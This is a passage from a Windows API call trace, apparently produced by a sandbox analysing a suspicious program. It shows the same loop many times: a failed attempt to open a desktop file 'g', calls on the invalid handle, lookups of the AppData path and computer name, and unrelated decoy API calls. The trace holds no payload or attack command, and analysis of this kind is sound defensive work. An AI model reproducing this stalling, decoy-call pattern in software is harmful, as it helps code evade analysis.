(normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.817] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.817] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.817] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.817] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.817] CloseHandle (hObject=0x0) returned 0 [0222.817] CloseHandle (hObject=0xffffffff) returned 1 [0222.817] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.817] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.817] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.817] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.817] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.817] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.817] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.817] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.817] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.817] CloseHandle (hObject=0x0) returned 0 [0222.818] CloseHandle (hObject=0xffffffff) returned 1 [0222.818] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.819] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.819] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.819] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.819] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.819] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.819] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.819] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.819] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.819] CloseHandle (hObject=0x0) returned 0 [0222.819] CloseHandle (hObject=0xffffffff) returned 1 [0222.819] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.819] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.819] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.819] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.819] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.819] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.819] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.819] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.819] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.819] CloseHandle (hObject=0x0) returned 0 [0222.819] CloseHandle (hObject=0xffffffff) returned 1 [0222.819] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.819] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.819] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.820] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.820] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.820] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.820] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.820] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.820] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.820] CloseHandle (hObject=0x0) returned 0 [0222.820] CloseHandle (hObject=0xffffffff) returned 1 [0222.820] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.820] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.820] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.820] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.820] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.820] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.820] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.820] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.820] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.820] CloseHandle (hObject=0x0) returned 0 [0222.820] CloseHandle (hObject=0xffffffff) returned 1 [0222.820] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.820] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.820] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.820] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.820] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.820] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.821] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.821] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.821] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.821] CloseHandle (hObject=0x0) returned 0 [0222.821] CloseHandle (hObject=0xffffffff) returned 1 [0222.821] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.821] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.821] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.821] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.821] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.821] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.821] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.821] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.821] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.821] CloseHandle (hObject=0x0) returned 0 [0222.821] CloseHandle (hObject=0xffffffff) returned 1 [0222.821] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.821] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.821] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.821] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.821] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.821] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.821] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.821] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.822] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.822] CloseHandle (hObject=0x0) returned 0 [0222.822] CloseHandle (hObject=0xffffffff) returned 1 [0222.822] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.822] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.822] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.822] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.822] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.822] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.822] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.822] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.822] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.822] CloseHandle (hObject=0x0) returned 0 [0222.822] CloseHandle (hObject=0xffffffff) returned 1 [0222.822] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.822] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.822] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.822] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.822] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.822] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.822] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.822] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.822] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.822] CloseHandle (hObject=0x0) returned 0 [0222.823] CloseHandle (hObject=0xffffffff) returned 1 [0222.823] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.823] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.823] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.823] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.823] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.823] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.823] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.823] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.823] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.823] CloseHandle (hObject=0x0) returned 0 [0222.823] CloseHandle (hObject=0xffffffff) returned 1 [0222.823] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.823] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.823] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.823] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.823] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.823] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.823] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.823] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.823] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.823] CloseHandle (hObject=0x0) returned 0 [0222.823] CloseHandle (hObject=0xffffffff) returned 1 [0222.823] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.824] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.824] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.824] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.824] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.824] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.824] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.824] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.824] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.824] CloseHandle (hObject=0x0) returned 0 [0222.824] CloseHandle (hObject=0xffffffff) returned 1 [0222.824] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.824] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.824] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.824] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.824] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.824] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.824] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.824] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.824] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.824] CloseHandle (hObject=0x0) returned 0 [0222.825] CloseHandle (hObject=0xffffffff) returned 1 [0222.825] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.825] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.825] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.825] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.825] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.825] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.825] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.825] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.825] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.825] CloseHandle (hObject=0x0) returned 0 [0222.825] CloseHandle (hObject=0xffffffff) returned 1 [0222.825] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.825] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.825] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.825] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.825] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.825] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.826] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.826] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.826] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.826] CloseHandle (hObject=0x0) returned 0 [0222.826] CloseHandle (hObject=0xffffffff) returned 1 [0222.826] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.826] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.826] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.826] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.826] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.826] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: 